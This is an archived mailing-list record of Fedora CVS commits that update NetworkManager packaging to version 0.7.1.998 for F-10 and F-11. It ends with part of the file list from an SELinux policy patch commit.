Date: Fri, 30 Oct 2009 07:47:36 +0000 (UTC)
Subject: rpms/NetworkManager/F-11 .cvsignore, 1.108,
	1.109 NetworkManager.spec, 
	1.282, 1.283 nm-applet-internal-buildfixes.patch, 1.10,
	1.11 sources, 1.149, 1.150
Message-ID: <20091030074736.EDF6D11C00E8@cvs1.fedora.phx.redhat.com>

Author: dcbw

Update of /cvs/pkgs/rpms/NetworkManager/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7101

Modified Files:
	.cvsignore NetworkManager.spec 
	nm-applet-internal-buildfixes.patch sources 
Log Message:
* Fri Oct 30 2009 Dan Williams <dcbw at redhat.com> - 0.7.1.998-1
- nm: fix checking for TTLS phase2 secrets
- nm: fix UUID validation regression (rh #530611)
- ifcfg-rh: fix writing LEAP connections
- applet: fix disabled Connect button for EAP-TLS (rh #469059)
- applet: add a "My country is not listed" option to the mobile wizard (rh #530981)




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/NetworkManager/F-11/.cvsignore,v
retrieving revision 1.108
retrieving revision 1.109
diff -u -p -r1.108 -r1.109
--- .cvsignore	16 Oct 2009 05:27:49 -0000	1.108
+++ .cvsignore	30 Oct 2009 07:47:32 -0000	1.109
@@ -163,3 +163,5 @@ NetworkManager-0.7.1.996.git20091015.tar
 network-manager-applet-0.7.1.996.tar.bz2
 NetworkManager-0.7.1.997.tar.bz2
 network-manager-applet-0.7.1.997.tar.bz2
+NetworkManager-0.7.1.998.tar.bz2
+network-manager-applet-0.7.1.998.tar.bz2


Index: NetworkManager.spec
===================================================================
RCS file: /cvs/pkgs/rpms/NetworkManager/F-11/NetworkManager.spec,v
retrieving revision 1.282
retrieving revision 1.283
diff -u -p -r1.282 -r1.283
--- NetworkManager.spec	16 Oct 2009 05:27:49 -0000	1.282
+++ NetworkManager.spec	30 Oct 2009 07:47:33 -0000	1.283
@@ -15,7 +15,7 @@
 Name: NetworkManager
 Summary: Network connection manager and user applications
 Epoch: 1
-Version: 0.7.1.997
+Version: 0.7.1.998
 Release: 1%{snapshot}%{?dist}
 Group: System Environment/Base
 License: GPLv2+
@@ -347,6 +347,13 @@ fi
 %{_datadir}/gtk-doc/html/libnm-util/*
 
 %changelog
+* Fri Oct 30 2009 Dan Williams <dcbw at redhat.com> - 0.7.1.998-1
+- nm: fix checking for TTLS phase2 secrets
+- nm: fix UUID validation regression (rh #530611)
+- ifcfg-rh: fix writing LEAP connections
+- applet: fix disabled Connect button for EAP-TLS (rh #469059)
+- applet: add a "My country is not listed" option to the mobile wizard (rh #530981)
+
 * Thu Oct 15 2009 Dan Williams <dcbw at redhat.com> - 0.7.1.997-1
 - nm: add support for PEAP-GTC (rh #451027)
 - nm: ensure VPN secrets aren't re-used when they shouldn't be

nm-applet-internal-buildfixes.patch:
 configure.ac                      |    4 ----
 src/Makefile.am                   |    8 +++++++-
 src/connection-editor/Makefile.am |    9 ++++++++-
 src/gconf-helpers/Makefile.am     |    8 +++++++-
 src/utils/Makefile.am             |    9 ++++++++-
 src/wireless-security/Makefile.am |    8 +++++++-
 6 files changed, 37 insertions(+), 9 deletions(-)

Index: nm-applet-internal-buildfixes.patch
===================================================================
RCS file: /cvs/pkgs/rpms/NetworkManager/F-11/nm-applet-internal-buildfixes.patch,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- nm-applet-internal-buildfixes.patch	16 Oct 2009 05:27:49 -0000	1.10
+++ nm-applet-internal-buildfixes.patch	30 Oct 2009 07:47:33 -0000	1.11
@@ -1,20 +1,20 @@
-diff -up NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/configure.ac.buildfix NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/configure.ac
---- NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/configure.ac.buildfix	2009-04-04 18:03:25.000000000 -0400
-+++ NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/configure.ac	2009-04-05 08:31:12.000000000 -0400
+diff -up NetworkManager-0.7.1.998/network-manager-applet-0.7.1.998/configure.ac.buildfix NetworkManager-0.7.1.998/network-manager-applet-0.7.1.998/configure.ac
+--- NetworkManager-0.7.1.998/network-manager-applet-0.7.1.998/configure.ac.buildfix	2009-04-04 18:03:25.000000000 -0400
++++ NetworkManager-0.7.1.998/network-manager-applet-0.7.1.998/configure.ac	2009-04-05 08:31:12.000000000 -0400
 @@ -68,10 +68,6 @@ PKG_CHECK_MODULES(GOBJECT, gobject-2.0)
  PKG_CHECK_MODULES(NMA,
  		[dbus-glib-1 >= 0.74
  		 glib-2.0 >= 2.10
--		 NetworkManager >= 0.7.1.997
--		 libnm_glib >= 0.7.1.997
--		 libnm-util >= 0.7.1.997
--		 libnm_glib_vpn >= 0.7.1.997
+-		 NetworkManager >= 0.7.1.998
+-		 libnm_glib >= 0.7.1.998
+-		 libnm-util >= 0.7.1.998
+-		 libnm_glib_vpn >= 0.7.1.998
  		 gtk+-2.0 >= 2.14
  		 libglade-2.0
  		 gmodule-export-2.0
-diff -up NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/src/connection-editor/Makefile.am.buildfix NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/src/connection-editor/Makefile.am
---- NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/src/connection-editor/Makefile.am.buildfix	2009-04-03 09:30:25.000000000 -0400
-+++ NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/src/connection-editor/Makefile.am	2009-04-05 08:31:12.000000000 -0400
+diff -up NetworkManager-0.7.1.998/network-manager-applet-0.7.1.998/src/connection-editor/Makefile.am.buildfix NetworkManager-0.7.1.998/network-manager-applet-0.7.1.998/src/connection-editor/Makefile.am
+--- NetworkManager-0.7.1.998/network-manager-applet-0.7.1.998/src/connection-editor/Makefile.am.buildfix	2009-04-03 09:30:25.000000000 -0400
++++ NetworkManager-0.7.1.998/network-manager-applet-0.7.1.998/src/connection-editor/Makefile.am	2009-04-05 08:31:12.000000000 -0400
 @@ -1,5 +1,9 @@
  bin_PROGRAMS = nm-connection-editor
  
@@ -37,9 +37,9 @@ diff -up NetworkManager-0.7.1.997/networ
  
  if NO_POLKIT_GNOME
  nm_connection_editor_LDADD += \
-diff -up NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/src/gconf-helpers/Makefile.am.buildfix NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/src/gconf-helpers/Makefile.am
---- NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/src/gconf-helpers/Makefile.am.buildfix	2008-11-26 20:37:43.000000000 -0500
-+++ NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/src/gconf-helpers/Makefile.am	2009-04-05 08:31:12.000000000 -0400
+diff -up NetworkManager-0.7.1.998/network-manager-applet-0.7.1.998/src/gconf-helpers/Makefile.am.buildfix NetworkManager-0.7.1.998/network-manager-applet-0.7.1.998/src/gconf-helpers/Makefile.am
+--- NetworkManager-0.7.1.998/network-manager-applet-0.7.1.998/src/gconf-helpers/Makefile.am.buildfix	2008-11-26 20:37:43.000000000 -0500
++++ NetworkManager-0.7.1.998/network-manager-applet-0.7.1.998/src/gconf-helpers/Makefile.am	2009-04-05 08:31:12.000000000 -0400
 @@ -1,3 +1,7 @@
 +INCLUDES = -I${top_srcdir}/../include \
 +           -I${top_srcdir}/../libnm-util \
@@ -57,9 +57,9 @@ diff -up NetworkManager-0.7.1.997/networ
 +	-L${top_builddir}/../libnm-util $(top_builddir)/../libnm-util/libnm-util.la \
 +	-L${top_builddir}/../libnm-glib $(top_builddir)/../libnm-glib/libnm_glib.la
  
-diff -up NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/src/Makefile.am.buildfix NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/src/Makefile.am
---- NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/src/Makefile.am.buildfix	2008-11-26 20:37:48.000000000 -0500
-+++ NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/src/Makefile.am	2009-04-05 08:31:12.000000000 -0400
+diff -up NetworkManager-0.7.1.998/network-manager-applet-0.7.1.998/src/Makefile.am.buildfix NetworkManager-0.7.1.998/network-manager-applet-0.7.1.998/src/Makefile.am
+--- NetworkManager-0.7.1.998/network-manager-applet-0.7.1.998/src/Makefile.am.buildfix	2008-11-26 20:37:48.000000000 -0500
++++ NetworkManager-0.7.1.998/network-manager-applet-0.7.1.998/src/Makefile.am	2009-04-05 08:31:12.000000000 -0400
 @@ -4,6 +4,10 @@ NULL=
  
  bin_PROGRAMS = nm-applet
@@ -82,9 +82,9 @@ diff -up NetworkManager-0.7.1.997/networ
  
  gladedir = $(datadir)/nm-applet
  glade_DATA = applet.glade keyring.png
-diff -up NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/src/utils/Makefile.am.buildfix NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/src/utils/Makefile.am
---- NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/src/utils/Makefile.am.buildfix	2008-11-26 20:37:48.000000000 -0500
-+++ NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/src/utils/Makefile.am	2009-04-05 08:31:12.000000000 -0400
+diff -up NetworkManager-0.7.1.998/network-manager-applet-0.7.1.998/src/utils/Makefile.am.buildfix NetworkManager-0.7.1.998/network-manager-applet-0.7.1.998/src/utils/Makefile.am
+--- NetworkManager-0.7.1.998/network-manager-applet-0.7.1.998/src/utils/Makefile.am.buildfix	2008-11-26 20:37:48.000000000 -0500
++++ NetworkManager-0.7.1.998/network-manager-applet-0.7.1.998/src/utils/Makefile.am	2009-04-05 08:31:12.000000000 -0400
 @@ -1,3 +1,7 @@
 +INCLUDES = -I${top_srcdir}/../include \
 +           -I${top_srcdir}/../libnm-util \
@@ -102,9 +102,9 @@ diff -up NetworkManager-0.7.1.997/networ
 +	-L${top_builddir}/../libnm-util $(top_builddir)/../libnm-util/libnm-util.la \
 +	-L${top_builddir}/../libnm-glib $(top_builddir)/../libnm-glib/libnm_glib.la
 +
-diff -up NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/src/wireless-security/Makefile.am.buildfix NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/src/wireless-security/Makefile.am
---- NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/src/wireless-security/Makefile.am.buildfix	2009-04-04 11:33:58.000000000 -0400
-+++ NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/src/wireless-security/Makefile.am	2009-04-05 08:31:12.000000000 -0400
+diff -up NetworkManager-0.7.1.998/network-manager-applet-0.7.1.998/src/wireless-security/Makefile.am.buildfix NetworkManager-0.7.1.998/network-manager-applet-0.7.1.998/src/wireless-security/Makefile.am
+--- NetworkManager-0.7.1.998/network-manager-applet-0.7.1.998/src/wireless-security/Makefile.am.buildfix	2009-04-04 11:33:58.000000000 -0400
++++ NetworkManager-0.7.1.998/network-manager-applet-0.7.1.998/src/wireless-security/Makefile.am	2009-04-05 08:31:12.000000000 -0400
 @@ -1,5 +1,9 @@
  noinst_LTLIBRARIES = libwireless-security.la
  


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/NetworkManager/F-11/sources,v
retrieving revision 1.149
retrieving revision 1.150
diff -u -p -r1.149 -r1.150
--- sources	16 Oct 2009 05:27:49 -0000	1.149
+++ sources	30 Oct 2009 07:47:34 -0000	1.150
@@ -1,2 +1,2 @@
-12f12b2586043c21c3508b05e7994ba2  NetworkManager-0.7.1.997.tar.bz2
-3183f5ae3553da0ce9c381dadbcc19e0  network-manager-applet-0.7.1.997.tar.bz2
+ece3c466bdc49704f46e8b791512d2c5  NetworkManager-0.7.1.998.tar.bz2
+18d68feef8854c8de2716f1e3fbe05d1  network-manager-applet-0.7.1.998.tar.bz2



From dcbw at fedoraproject.org  Fri Oct 30 07:49:04 2009
From: dcbw at fedoraproject.org (Daniel Williams)
Date: Fri, 30 Oct 2009 07:49:04 +0000 (UTC)
Subject: rpms/NetworkManager/F-10 NetworkManager.spec, 1.268,
	1.269 nm-applet-internal-buildfixes.patch, 1.8, 1.9 sources,
	1.140, 1.141
Message-ID: <20091030074904.9544411C00E8@cvs1.fedora.phx.redhat.com>

Author: dcbw

Update of /cvs/pkgs/rpms/NetworkManager/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7634

Modified Files:
	NetworkManager.spec nm-applet-internal-buildfixes.patch 
	sources 
Log Message:
* Fri Oct 30 2009 Dan Williams <dcbw at redhat.com> - 0.7.1.998-1
- nm: fix checking for TTLS phase2 secrets
- nm: fix UUID validation regression (rh #530611)
- ifcfg-rh: fix writing LEAP connections
- applet: fix disabled Connect button for EAP-TLS (rh #469059)
- applet: add a "My country is not listed" option to the mobile wizard (rh #530981)




Index: NetworkManager.spec
===================================================================
RCS file: /cvs/pkgs/rpms/NetworkManager/F-10/NetworkManager.spec,v
retrieving revision 1.268
retrieving revision 1.269
diff -u -p -r1.268 -r1.269
--- NetworkManager.spec	16 Oct 2009 06:04:00 -0000	1.268
+++ NetworkManager.spec	30 Oct 2009 07:49:02 -0000	1.269
@@ -15,7 +15,7 @@
 Name: NetworkManager
 Summary: Network connection manager and user applications
 Epoch: 1
-Version: 0.7.1.997
+Version: 0.7.1.998
 Release: 1%{snapshot}%{?dist}
 Group: System Environment/Base
 License: GPLv2+
@@ -349,6 +349,13 @@ fi
 %{_datadir}/gtk-doc/html/libnm-util/*
 
 %changelog
+* Fri Oct 30 2009 Dan Williams <dcbw at redhat.com> - 0.7.1.998-1
+- nm: fix checking for TTLS phase2 secrets
+- nm: fix UUID validation regression (rh #530611)
+- ifcfg-rh: fix writing LEAP connections
+- applet: fix disabled Connect button for EAP-TLS (rh #469059)
+- applet: add a "My country is not listed" option to the mobile wizard (rh #530981)
+
 * Thu Oct 15 2009 Dan Williams <dcbw at redhat.com> - 0.7.1.997-1
 - nm: add support for PEAP-GTC (rh #451027)
 - nm: ensure VPN secrets aren't re-used when they shouldn't be

nm-applet-internal-buildfixes.patch:
 configure.ac                      |    4 ----
 src/Makefile.am                   |    8 +++++++-
 src/connection-editor/Makefile.am |    9 ++++++++-
 src/gconf-helpers/Makefile.am     |    8 +++++++-
 src/utils/Makefile.am             |    9 ++++++++-
 src/wireless-security/Makefile.am |    8 +++++++-
 6 files changed, 37 insertions(+), 9 deletions(-)

Index: nm-applet-internal-buildfixes.patch
===================================================================
RCS file: /cvs/pkgs/rpms/NetworkManager/F-10/nm-applet-internal-buildfixes.patch,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- nm-applet-internal-buildfixes.patch	16 Oct 2009 06:04:01 -0000	1.8
+++ nm-applet-internal-buildfixes.patch	30 Oct 2009 07:49:03 -0000	1.9
@@ -1,20 +1,20 @@
-diff -up NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/configure.ac.buildfix NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/configure.ac
---- NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/configure.ac.buildfix	2009-04-04 18:03:25.000000000 -0400
-+++ NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/configure.ac	2009-04-05 08:31:12.000000000 -0400
+diff -up NetworkManager-0.7.1.998/network-manager-applet-0.7.1.998/configure.ac.buildfix NetworkManager-0.7.1.998/network-manager-applet-0.7.1.998/configure.ac
+--- NetworkManager-0.7.1.998/network-manager-applet-0.7.1.998/configure.ac.buildfix	2009-04-04 18:03:25.000000000 -0400
++++ NetworkManager-0.7.1.998/network-manager-applet-0.7.1.998/configure.ac	2009-04-05 08:31:12.000000000 -0400
 @@ -68,10 +68,6 @@ PKG_CHECK_MODULES(GOBJECT, gobject-2.0)
  PKG_CHECK_MODULES(NMA,
  		[dbus-glib-1 >= 0.74
  		 glib-2.0 >= 2.10
--		 NetworkManager >= 0.7.1.997
--		 libnm_glib >= 0.7.1.997
--		 libnm-util >= 0.7.1.997
--		 libnm_glib_vpn >= 0.7.1.997
+-		 NetworkManager >= 0.7.1.998
+-		 libnm_glib >= 0.7.1.998
+-		 libnm-util >= 0.7.1.998
+-		 libnm_glib_vpn >= 0.7.1.998
  		 gtk+-2.0 >= 2.14
  		 libglade-2.0
  		 gmodule-export-2.0
-diff -up NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/src/connection-editor/Makefile.am.buildfix NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/src/connection-editor/Makefile.am
---- NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/src/connection-editor/Makefile.am.buildfix	2009-04-03 09:30:25.000000000 -0400
-+++ NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/src/connection-editor/Makefile.am	2009-04-05 08:31:12.000000000 -0400
+diff -up NetworkManager-0.7.1.998/network-manager-applet-0.7.1.998/src/connection-editor/Makefile.am.buildfix NetworkManager-0.7.1.998/network-manager-applet-0.7.1.998/src/connection-editor/Makefile.am
+--- NetworkManager-0.7.1.998/network-manager-applet-0.7.1.998/src/connection-editor/Makefile.am.buildfix	2009-04-03 09:30:25.000000000 -0400
++++ NetworkManager-0.7.1.998/network-manager-applet-0.7.1.998/src/connection-editor/Makefile.am	2009-04-05 08:31:12.000000000 -0400
 @@ -1,5 +1,9 @@
  bin_PROGRAMS = nm-connection-editor
  
@@ -37,9 +37,9 @@ diff -up NetworkManager-0.7.1.997/networ
  
  if NO_POLKIT_GNOME
  nm_connection_editor_LDADD += \
-diff -up NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/src/gconf-helpers/Makefile.am.buildfix NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/src/gconf-helpers/Makefile.am
---- NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/src/gconf-helpers/Makefile.am.buildfix	2008-11-26 20:37:43.000000000 -0500
-+++ NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/src/gconf-helpers/Makefile.am	2009-04-05 08:31:12.000000000 -0400
+diff -up NetworkManager-0.7.1.998/network-manager-applet-0.7.1.998/src/gconf-helpers/Makefile.am.buildfix NetworkManager-0.7.1.998/network-manager-applet-0.7.1.998/src/gconf-helpers/Makefile.am
+--- NetworkManager-0.7.1.998/network-manager-applet-0.7.1.998/src/gconf-helpers/Makefile.am.buildfix	2008-11-26 20:37:43.000000000 -0500
++++ NetworkManager-0.7.1.998/network-manager-applet-0.7.1.998/src/gconf-helpers/Makefile.am	2009-04-05 08:31:12.000000000 -0400
 @@ -1,3 +1,7 @@
 +INCLUDES = -I${top_srcdir}/../include \
 +           -I${top_srcdir}/../libnm-util \
@@ -57,9 +57,9 @@ diff -up NetworkManager-0.7.1.997/networ
 +	-L${top_builddir}/../libnm-util $(top_builddir)/../libnm-util/libnm-util.la \
 +	-L${top_builddir}/../libnm-glib $(top_builddir)/../libnm-glib/libnm_glib.la
  
-diff -up NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/src/Makefile.am.buildfix NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/src/Makefile.am
---- NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/src/Makefile.am.buildfix	2008-11-26 20:37:48.000000000 -0500
-+++ NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/src/Makefile.am	2009-04-05 08:31:12.000000000 -0400
+diff -up NetworkManager-0.7.1.998/network-manager-applet-0.7.1.998/src/Makefile.am.buildfix NetworkManager-0.7.1.998/network-manager-applet-0.7.1.998/src/Makefile.am
+--- NetworkManager-0.7.1.998/network-manager-applet-0.7.1.998/src/Makefile.am.buildfix	2008-11-26 20:37:48.000000000 -0500
++++ NetworkManager-0.7.1.998/network-manager-applet-0.7.1.998/src/Makefile.am	2009-04-05 08:31:12.000000000 -0400
 @@ -4,6 +4,10 @@ NULL=
  
  bin_PROGRAMS = nm-applet
@@ -82,9 +82,9 @@ diff -up NetworkManager-0.7.1.997/networ
  
  gladedir = $(datadir)/nm-applet
  glade_DATA = applet.glade keyring.png
-diff -up NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/src/utils/Makefile.am.buildfix NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/src/utils/Makefile.am
---- NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/src/utils/Makefile.am.buildfix	2008-11-26 20:37:48.000000000 -0500
-+++ NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/src/utils/Makefile.am	2009-04-05 08:31:12.000000000 -0400
+diff -up NetworkManager-0.7.1.998/network-manager-applet-0.7.1.998/src/utils/Makefile.am.buildfix NetworkManager-0.7.1.998/network-manager-applet-0.7.1.998/src/utils/Makefile.am
+--- NetworkManager-0.7.1.998/network-manager-applet-0.7.1.998/src/utils/Makefile.am.buildfix	2008-11-26 20:37:48.000000000 -0500
++++ NetworkManager-0.7.1.998/network-manager-applet-0.7.1.998/src/utils/Makefile.am	2009-04-05 08:31:12.000000000 -0400
 @@ -1,3 +1,7 @@
 +INCLUDES = -I${top_srcdir}/../include \
 +           -I${top_srcdir}/../libnm-util \
@@ -102,9 +102,9 @@ diff -up NetworkManager-0.7.1.997/networ
 +	-L${top_builddir}/../libnm-util $(top_builddir)/../libnm-util/libnm-util.la \
 +	-L${top_builddir}/../libnm-glib $(top_builddir)/../libnm-glib/libnm_glib.la
 +
-diff -up NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/src/wireless-security/Makefile.am.buildfix NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/src/wireless-security/Makefile.am
---- NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/src/wireless-security/Makefile.am.buildfix	2009-04-04 11:33:58.000000000 -0400
-+++ NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/src/wireless-security/Makefile.am	2009-04-05 08:31:12.000000000 -0400
+diff -up NetworkManager-0.7.1.998/network-manager-applet-0.7.1.998/src/wireless-security/Makefile.am.buildfix NetworkManager-0.7.1.998/network-manager-applet-0.7.1.998/src/wireless-security/Makefile.am
+--- NetworkManager-0.7.1.998/network-manager-applet-0.7.1.998/src/wireless-security/Makefile.am.buildfix	2009-04-04 11:33:58.000000000 -0400
++++ NetworkManager-0.7.1.998/network-manager-applet-0.7.1.998/src/wireless-security/Makefile.am	2009-04-05 08:31:12.000000000 -0400
 @@ -1,5 +1,9 @@
  noinst_LTLIBRARIES = libwireless-security.la
  


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/NetworkManager/F-10/sources,v
retrieving revision 1.140
retrieving revision 1.141
diff -u -p -r1.140 -r1.141
--- sources	16 Oct 2009 06:04:01 -0000	1.140
+++ sources	30 Oct 2009 07:49:03 -0000	1.141
@@ -1,2 +1,2 @@
-12f12b2586043c21c3508b05e7994ba2  NetworkManager-0.7.1.997.tar.bz2
-3183f5ae3553da0ce9c381dadbcc19e0  network-manager-applet-0.7.1.997.tar.bz2
+ece3c466bdc49704f46e8b791512d2c5  NetworkManager-0.7.1.998.tar.bz2
+18d68feef8854c8de2716f1e3fbe05d1  network-manager-applet-0.7.1.998.tar.bz2



From mgrepl at fedoraproject.org  Fri Oct 30 08:13:48 2009
From: mgrepl at fedoraproject.org (Miroslav Grepl)
Date: Fri, 30 Oct 2009 08:13:48 +0000 (UTC)
Subject: rpms/selinux-policy/F-11 policy-20090521.patch, 1.58,
	1.59 selinux-policy.spec, 1.908, 1.909
Message-ID: <20091030081349.571F811C00E8@cvs1.fedora.phx.redhat.com>

Author: mgrepl

Update of /cvs/extras/rpms/selinux-policy/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16734

Modified Files:
	policy-20090521.patch selinux-policy.spec 
Log Message:
- Allow consolekit to manage /var/run/console directory
- Fixed sssd policy
- Allow iptables to work with shorewall
- Add libADM* libs to textrel_shlib_t



policy-20090521.patch:
 man/man8/samba_selinux.8                  |    4 
 policy/mcs                                |   12 -
 policy/modules/admin/certwatch.te         |    4 
 policy/modules/admin/kismet.te            |   16 +
 policy/modules/admin/logrotate.te         |    6 
 policy/modules/admin/mrtg.te              |    8 
 policy/modules/admin/prelink.te           |    9 
 policy/modules/admin/readahead.te         |    2 
 policy/modules/admin/rpm.fc               |    1 
 policy/modules/admin/rpm.if               |   46 +++++
 policy/modules/admin/rpm.te               |    4 
 policy/modules/admin/shorewall.fc         |   13 +
 policy/modules/admin/shorewall.if         |  166 ++++++++++++++++++
 policy/modules/admin/shorewall.te         |  103 +++++++++++
 policy/modules/admin/sudo.if              |    4 
 policy/modules/admin/tzdata.te            |    2 
 policy/modules/admin/usermanage.if        |    3 
 policy/modules/admin/usermanage.te        |    3 
 policy/modules/apps/awstats.te            |    2 
 policy/modules/apps/calamaris.te          |    4 
 policy/modules/apps/gitosis.fc            |    4 
 policy/modules/apps/gitosis.if            |   96 ++++++++++
 policy/modules/apps/gitosis.te            |   43 ++++
 policy/modules/apps/gnome.te              |   10 +
 policy/modules/apps/gpg.if                |    2 
 policy/modules/apps/gpg.te                |    1 
 policy/modules/apps/java.te               |    2 
 policy/modules/apps/mozilla.if            |   16 +
 policy/modules/apps/mozilla.te            |   14 -
 policy/modules/apps/nsplugin.if           |    2 
 policy/modules/apps/ptchown.fc            |    2 
 policy/modules/apps/ptchown.if            |   22 ++
 policy/modules/apps/ptchown.te            |   40 ++++
 policy/modules/apps/qemu.fc               |    1 
 policy/modules/apps/qemu.te               |    5 
 policy/modules/apps/sandbox.if            |  134 +++++++++++---
 policy/modules/apps/sandbox.te            |  274 +++++++++++++++++++++++++++---
 policy/modules/apps/screen.if             |    1 
 policy/modules/apps/vmware.fc             |    1 
 policy/modules/apps/vmware.te             |    6 
 policy/modules/kernel/corecommands.fc     |   10 -
 policy/modules/kernel/corenetwork.te.in   |    5 
 policy/modules/kernel/devices.fc          |    3 
 policy/modules/kernel/devices.if          |  145 +++++++++++++++
 policy/modules/kernel/devices.te          |   13 +
 policy/modules/kernel/domain.if           |   45 +---
 policy/modules/kernel/domain.te           |   31 +++
 policy/modules/kernel/files.if            |    4 
 policy/modules/kernel/kernel.if           |    2 
 policy/modules/kernel/storage.fc          |    1 
 policy/modules/kernel/storage.if          |    2 
 policy/modules/kernel/terminal.if         |   19 ++
 policy/modules/roles/staff.te             |   12 +
 policy/modules/roles/sysadm.if            |   35 +++
 policy/modules/roles/sysadm.te            |    4 
 policy/modules/roles/unconfineduser.te    |   10 -
 policy/modules/roles/unprivuser.te        |    4 
 policy/modules/roles/xguest.te            |    6 
 policy/modules/services/afs.fc            |    2 
 policy/modules/services/afs.te            |    1 
 policy/modules/services/apache.fc         |    5 
 policy/modules/services/apache.te         |    1 
 policy/modules/services/automount.if      |   18 +
 policy/modules/services/avahi.te          |    2 
 policy/modules/services/bluetooth.te      |    1 
 policy/modules/services/clamav.te         |    4 
 policy/modules/services/cobbler.fc        |    2 
 policy/modules/services/cobbler.if        |   21 ++
 policy/modules/services/cobbler.te        |   10 +
 policy/modules/services/consolekit.te     |    5 
 policy/modules/services/cron.if           |   19 --
 policy/modules/services/cron.te           |    2 
 policy/modules/services/cups.fc           |    2 
 policy/modules/services/cups.te           |   28 ++-
 policy/modules/services/cyrus.te          |    1 
 policy/modules/services/dbus.if           |   28 +++
 policy/modules/services/dcc.te            |    8 
 policy/modules/services/ddclient.if       |   25 ++
 policy/modules/services/devicekit.te      |    6 
 policy/modules/services/dnsmasq.te        |    8 
 policy/modules/services/dovecot.if        |   34 +--
 policy/modules/services/dovecot.te        |   22 +-
 policy/modules/services/exim.te           |    7 
 policy/modules/services/fail2ban.te       |    1 
 policy/modules/services/fetchmail.te      |    2 
 policy/modules/services/fprintd.te        |   10 -
 policy/modules/services/ftp.te            |   15 +
 policy/modules/services/gnomeclock.te     |    1 
 policy/modules/services/gpsd.fc           |    3 
 policy/modules/services/gpsd.te           |   19 +-
 policy/modules/services/hal.te            |   15 +
 policy/modules/services/hddtemp.fc        |    4 
 policy/modules/services/hddtemp.if        |   38 ++++
 policy/modules/services/hddtemp.te        |   40 ++++
 policy/modules/services/kerberos.if       |    2 
 policy/modules/services/kerberos.te       |   12 +
 policy/modules/services/lircd.te          |    7 
 policy/modules/services/mailman.if        |    1 
 policy/modules/services/milter.if         |    2 
 policy/modules/services/mta.if            |    1 
 policy/modules/services/mysql.te          |    6 
 policy/modules/services/nis.te            |    3 
 policy/modules/services/nslcd.fc          |    4 
 policy/modules/services/nslcd.if          |  144 +++++++++++++++
 policy/modules/services/nslcd.te          |   50 +++++
 policy/modules/services/nx.fc             |    3 
 policy/modules/services/nx.if             |   20 ++
 policy/modules/services/openvpn.te        |   14 +
 policy/modules/services/pcscd.if          |    3 
 policy/modules/services/pcscd.te          |    3 
 policy/modules/services/polkit.fc         |    2 
 policy/modules/services/polkit.if         |    2 
 policy/modules/services/polkit.te         |    3 
 policy/modules/services/postfix.if        |   26 ++
 policy/modules/services/postfix.te        |   26 --
 policy/modules/services/postgresql.te     |    2 
 policy/modules/services/ppp.if            |    6 
 policy/modules/services/ppp.te            |    2 
 policy/modules/services/privoxy.te        |    3 
 policy/modules/services/pyzor.fc          |    2 
 policy/modules/services/pyzor.te          |    2 
 policy/modules/services/radvd.te          |    2 
 policy/modules/services/rpc.te            |   15 +
 policy/modules/services/rpcbind.if        |   20 ++
 policy/modules/services/rsync.te          |    2 
 policy/modules/services/samba.te          |    6 
 policy/modules/services/sasl.te           |    6 
 policy/modules/services/sendmail.if       |   39 ++++
 policy/modules/services/sendmail.te       |    7 
 policy/modules/services/setroubleshoot.te |    5 
 policy/modules/services/shorewall.fc      |   12 -
 policy/modules/services/shorewall.if      |  166 ------------------
 policy/modules/services/shorewall.te      |  102 -----------
 policy/modules/services/smartmon.te       |    4 
 policy/modules/services/snmp.if           |   37 ++++
 policy/modules/services/snmp.te           |    2 
